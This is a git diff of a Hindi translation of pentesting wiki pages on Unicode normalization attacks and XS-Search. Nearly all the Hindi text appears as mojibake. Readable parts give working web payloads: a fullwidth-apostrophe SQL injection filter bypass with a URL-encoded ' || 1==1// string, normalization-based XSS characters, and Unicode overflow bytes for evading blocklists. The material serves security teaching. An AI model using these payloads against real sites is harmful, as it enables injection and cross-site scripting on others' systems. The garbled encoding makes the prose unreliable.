рджреЗрд╢реЛрдВ рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп) рдПрдХ рдмрд╛рдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬрд┐рди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рд╡рд░реНрдгреЛрдВ рдХрд╛ рдмрдбрд╝рд╛ рд╕реЗрдЯ рд╣реЛрддрд╛ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдмрд╛рдЗрдЯреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред - **Encoding**: рдпрд╣ рд╢рдмреНрдж рд╡рд░реНрдгреЛрдВ рдХреЛ рдмрд╛рдЗрдЯреНрд╕ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред UTF-8 рдПрдХ рдкреНрд░рдЪрд▓рд┐рдд рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдорд╛рдирдХ рд╣реИ рдЬрд╣рд╛рдБ ASCII рд╡рд░реНрдгреЛрдВ рдХреЛ рдПрдХ рдмрд╛рдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЕрдиреНрдп рд╡рд░реНрдгреЛрдВ рдХреЗ рд▓рд┐рдП рдЪрд╛рд░ рдмрд╛рдЗрдЯреНрд╕ рддрдХред - **рдбреЗрдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ**: рдбреЗрдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЛ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдЧрд░реВрдХ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдмрд╛рдЗрдЯ рд╕реНрдЯреНрд░реАрдо рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╡рд░реНрдгреЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред - **UTF рдХреЗ рд░реВрдк**: UTF-8 рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдиреНрдп рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдорд╛рдирдХ рд╣реИрдВ рдЬреИрд╕реЗ UTF-16 (рдХрдо рд╕реЗ рдХрдо 2 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЕрдзрд┐рдХрддрдо 4) рдФрд░ UTF-32 (рд╕рднреА рд╡рд░реНрдгреЛрдВ рдХреЗ рд▓рд┐рдП 4 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП)ред -рдЗрди рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рддрд╛рдХрд┐ Unicode рдХреА рдЬрдЯрд┐рд▓рддрд╛ рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рд╡рд┐рдзрд┐рдпреЛрдВ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╕рдВрднрд╛рд╡рд┐рдд рдореБрджреНрджреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдФрд░ рдХрдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +рдЗрди рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рддрд╛рдХрд┐ Unicode рдХреА рдЬрдЯрд┐рд▓рддрд╛ рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рддрд░реАрдХреЛрдВ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╕рдВрднрд╛рд╡рд┐рдд рдореБрджреНрджреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдФрд░ рдХрдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред -Unicode рдХреЗ рджреЛ рд╡рд┐рднрд┐рдиреНрди рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЬреЛ рдПрдХ рд╣реА рд╡рд░реНрдг рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ: +Unicode рдХреЗ рджреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рдПрдХ рд╣реА рд╡рд░реНрдг рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг: ```python unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9") ``` @@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ### рдЦреЛрдЬ -рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рд╡реЗрдм рдРрдк рдХреЗ рдЕрдВрджрд░ рдПрдХ рдРрд╕рд╛ рдорд╛рди рдвреВрдВрдв рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╡рд╛рдкрд╕ рдЗрдХреЛ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **тАШKELVIN SIGNтАЩ (U+0212A)** рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **"K" рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИ** (рдЖрдк рдЗрд╕реЗ `%e2%84%aa` рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ)ред **рдпрджрд┐ "K" рд╡рд╛рдкрд╕ рдЗрдХреЛ рд╣реЛрддрд╛ рд╣реИ**, рддреЛ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреА **Unicode рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг** рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИред +рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рд╡реЗрдм рдРрдк рдХреЗ рдЕрдВрджрд░ рдПрдХ рдРрд╕рд╛ рдорд╛рди рдвреВрдВрдв рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╡рд╛рдкрд╕ рдЗрдХреЛ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **тАШKELVIN SIGNтАЩ (U+0212A)** рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **"K"** рдореЗрдВ **рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд** рд╣реЛрддрд╛ рд╣реИ (рдЖрдк рдЗрд╕реЗ `%e2%84%aa` рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ)ред **рдпрджрд┐ "K" рд╡рд╛рдкрд╕ рдЗрдХреЛ рд╣реЛрддрд╛ рд╣реИ**, рддреЛ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреА **Unicode рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг** рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИред рдЕрдиреНрдп **рдЙрджрд╛рд╣рд░рдг**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` рдХреЗ рдмрд╛рдж **unicode** `Leonishan` рд╣реИред @@ -41,9 +41,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ### **SQL Injection рдлрд╝рд┐рд▓реНрдЯрд░ рдмрд╛рдпрдкрд╛рд╕** -рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде SQL рдХреНрд╡реЗрд░реА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд░реНрдг `'` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред рдпрд╣ рд╡реЗрдм, рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдХреЗ рд░реВрдк рдореЗрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реЗ рд╡рд░реНрдг **`'`** рдХреЗ рд╕рднреА рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ **рд╣рдЯрд╛рддрд╛ рд╣реИ**, рд▓реЗрдХрд┐рди **рдЙрд╕ рд╣рдЯрд╛рдиреЗ рдХреЗ рдмрд╛рдж** рдФрд░ **рдХреНрд╡реЗрд░реА рдмрдирд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ**, рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЗрдирдкреБрдЯ рдХреЛ **Unicode** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд** рдХрд░рддрд╛ рд╣реИред +рдХрд▓реНрдкрдирд╛ рдХреАрдЬрд┐рдП рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде SQL рдХреНрд╡реЗрд░реА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд░реНрдг `'` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред рдпрд╣ рд╡реЗрдм, рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдХреЗ рд░реВрдк рдореЗрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реЗ рд╡рд░реНрдг **`'`** рдХреЗ рд╕рднреА рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ **рд╣рдЯрд╛рддрд╛** рд╣реИ, рд▓реЗрдХрд┐рди **рдЙрд╕ рд╣рдЯрд╛рдиреЗ рдХреЗ рдмрд╛рдж** рдФрд░ **рдХреНрд╡реЗрд░реА рдмрдирд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ**, рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЗрдирдкреБрдЯ рдХреЛ **Unicode** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд** рдХрд░рддрд╛ рд╣реИред -рдлрд┐рд░, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `' (0x27)` рдХреЗ рд╕рдордХрдХреНрд╖ рдПрдХ рдЕрд▓рдЧ Unicode рд╡рд░реНрдг рдЬреИрд╕реЗ `%ef%bc%87` рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬрдм рдЗрдирдкреБрдЯ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╕рд┐рдВрдЧрд▓ рдХреЛрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдПрдХ **SQLInjection рднреЗрджреНрдпрддрд╛** рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ: +рдлрд┐рд░, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдЕрд▓рдЧ Unicode рд╡рд░реНрдг рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ `' (0x27)` рдХреЗ рд╕рдордХрдХреНрд╖ рд╣реИ рдЬреИрд╕реЗ `%ef%bc%87`, рдЬрдм рдЗрдирдкреБрдЯ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╕рд┐рдВрдЧрд▓ рдХреЛрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдПрдХ **SQLInjection рднреЗрджреНрдпрддрд╛** рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) @@ -73,38 +73,38 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch " || 1==1// %ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f ``` -#### sqlmap рдЯреЗрдореНрдкрд▓реЗрдЯ +#### sqlmap template {{#ref}} https://github.com/carlospolop/sqlmap_to_unicode_template {{#endref}} -### XSS (рдХреНрд░реЙрд╕ рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ) +### XSS (Cross Site Scripting) -рдЖрдк XSS рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реЗрдм рдРрдк рдХреЛ рдзреЛрдЦрд╛ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд░реНрдгреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдЪрд░рд┐рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реЗрдм рдРрдк рдХреЛ рдзреЛрдЦрд╛ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ XSS рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрд╣рд▓реЗ Unicode рд╡рд░реНрдг рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рднреЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: `%e2%89%ae` рдпрд╛ `%u226e` +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрд╣рд▓реЗ Unicode рдЪрд░рд┐рддреНрд░ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рднреЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: `%e2%89%ae` рдпрд╛ `%u226e` ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>) -### рдлрдЬрд╝рд┐рдВрдЧ Regexes +### Fuzzing Regexes -рдЬрдм рдмреИрдХрдПрдВрдб **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЛ regex рдХреЗ рд╕рд╛рде рдЬрд╛рдВрдЪ рд░рд╣рд╛ рд╣реИ**, рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рдЗрдирдкреБрдЯ** рдХреЛ **regex** рдХреЗ рд▓рд┐рдП **рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд** рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛ рд▓реЗрдХрд┐рди **рдЬрд╣рд╛рдВ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ** рд╡рд╣рд╛рдВ **рдирд╣реАрдВ**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ Open Redirect рдпрд╛ SSRF рдореЗрдВ regex **рднреЗрдЬреЗ рдЧрдП UR**L рдХреЛ **рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдлрд┐рд░ **рдЗрд╕реЗ рдЬреИрд╕рд╛ рд╣реИ рд╡реИрд╕рд╛ рд╣реА рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред +рдЬрдм рдмреИрдХрдПрдВрдб **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЛ regex рдХреЗ рд╕рд╛рде рдЬрд╛рдВрдЪ рд░рд╣рд╛ рд╣реИ**, рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рдЗрдирдкреБрдЯ** рдХреЛ **regex** рдХреЗ рд▓рд┐рдП **normalize** рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛ рд▓реЗрдХрд┐рди **рдЬрд╣рд╛рдВ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ** рд╡рд╣рд╛рдВ рдирд╣реАрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ Open Redirect рдпрд╛ SSRF рдореЗрдВ regex **рднреЗрдЬреЗ рдЧрдП URL рдХреЛ normalize** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдлрд┐рд░ **рдЗрд╕реЗ рдЬреИрд╕рд╛ рд╣реИ рд╡реИрд╕рд╛ рд╣реА рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред -рдЙрдкрдХрд░рдг [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* рдмреИрдХрдПрдВрдб рдХреЛ рдлрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдЗрдирдкреБрдЯ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рд░реВрдкреЛрдВ** рдХреЛ **рдЬрдирд░реЗрдЯ** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП **github** рдФрд░ рдЗрд╕ [**рдкреЛрд╕реНрдЯ**](https://0xacb.com/2022/11/21/recollapse/) рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред +рдЙрдкрдХрд░рдг [**recollapse**](https://github.com/0xacb/recollapse) **рдЗрдирдкреБрдЯ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рд░реВрдкреЛрдВ рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдмреИрдХрдПрдВрдб рдХреЛ fuzz рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП **github** рдФрд░ рдЗрд╕ [**рдкреЛрд╕реНрдЯ**](https://0xacb.com/2022/11/21/recollapse/) рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред -## Unicode рдУрд╡рд░рдлреНрд▓реЛ +## Unicode Overflow -рдЗрд╕ [рдмреНрд▓реЙрдЧ](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) рд╕реЗ, рдПрдХ рдмрд╛рдЗрдЯ рдХрд╛ рдЕрдзрд┐рдХрддрдо рдорд╛рди 255 рд╣реИ, рдпрджрд┐ рд╕рд░реНрд╡рд░ рдХрдордЬреЛрд░ рд╣реИ, рддреЛ рдПрдХ рдУрд╡рд░рдлреНрд▓реЛ рдХреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдФрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд ASCII рд╡рд░реНрдг рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд░реНрдг `A` рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рд╣реЛрдВрдЧреЗ: +рдЗрд╕ [рдмреНрд▓реЙрдЧ](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) рд╕реЗ, рдПрдХ рдмрд╛рдЗрдЯ рдХрд╛ рдЕрдзрд┐рдХрддрдо рдорд╛рди 255 рд╣реИ, рдпрджрд┐ рд╕рд░реНрд╡рд░ рдХрдордЬреЛрд░ рд╣реИ, рддреЛ рдПрдХ рдУрд╡рд░рдлреНрд▓реЛ рдХреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдФрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд ASCII рдЪрд░рд┐рддреНрд░ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рд┐рддреНрд░ `A` рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рд╣реЛрдВрдЧреЗ: - 0x4e41 - 0x4f41 - 0x5041 - 0x5141 -## рд╕рдВрджрд░реНрдн +## References - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 4ba5601cf..3c5d02ea6 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -9,17 +9,17 @@ XS-Search рдПрдХ рд╡рд┐рдзрд┐ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХреНрд░ рдЗрд╕ рд╣рдорд▓реЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдореБрдЦреНрдп рдШрдЯрдХ рд╣реИрдВ: - **рдХрдордЬреЛрд░ рд╡реЗрдм**: рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рдЬрд┐рд╕рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛рдиреА рд╣реИред -- **рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рд╡реЗрдм**: рд╡рд╣ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реЗрдмрд╕рд╛рдЗрдЯ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ рд╣реИ, рдЬрд┐рд╕реЗ рдкреАрдбрд╝рд┐рдд рд╡рд┐рдЬрд┐рдЯ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╣реЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐**: рдХрдордЬреЛрд░ рд╡реЗрдм рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╡реЗрдм рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рддрдХрдиреАрдХ (рдЬреИрд╕реЗ, window.open, iframe, fetch, href рдХреЗ рд╕рд╛рде HTML рдЯреИрдЧ, рдЖрджрд┐)ред -- **рд▓реАрдХ рддрдХрдиреАрдХ**: рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рддрдХрдиреАрдХреЗрдВ, рдЬреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХрддреНрд░ рдХреА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреА рд╣реИрдВред -- **рд░рд╛рдЬреНрдп**: рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рджреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╕реНрдерд┐рддрд┐рдпрд╛рдБ, рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдкрд╣рдЪрд╛рдирдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред +- **рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рд╡реЗрдм**: рд╡рд╣ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реЗрдмрд╕рд╛рдЗрдЯ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ рд╣реИ, рдЬрд┐рд╕реЗ рдкреАрдбрд╝рд┐рдд рд╡рд┐рдЬрд┐рдЯ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЛ рд╣реЛрд╕реНрдЯ рдХрд░рддреА рд╣реИред +- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐**: рд╡рд╣ рддрдХрдиреАрдХ рдЬреЛ рдХрдордЬреЛрд░ рд╡реЗрдм рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╡реЗрдм рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИ 